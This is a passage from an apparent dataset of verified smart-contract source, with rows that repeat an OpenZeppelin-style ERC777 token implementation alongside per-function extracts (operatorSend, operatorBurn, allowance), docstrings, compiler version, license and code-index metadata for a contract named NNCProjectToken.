* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | operatorSend | function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
| /**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
6467,
6860
]
} | 59,943 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | operatorBurn | function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
| /**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
6976,
7274
]
} | 59,944 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | allowance | function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
| /**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
7517,
7658
]
} | 59,945 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
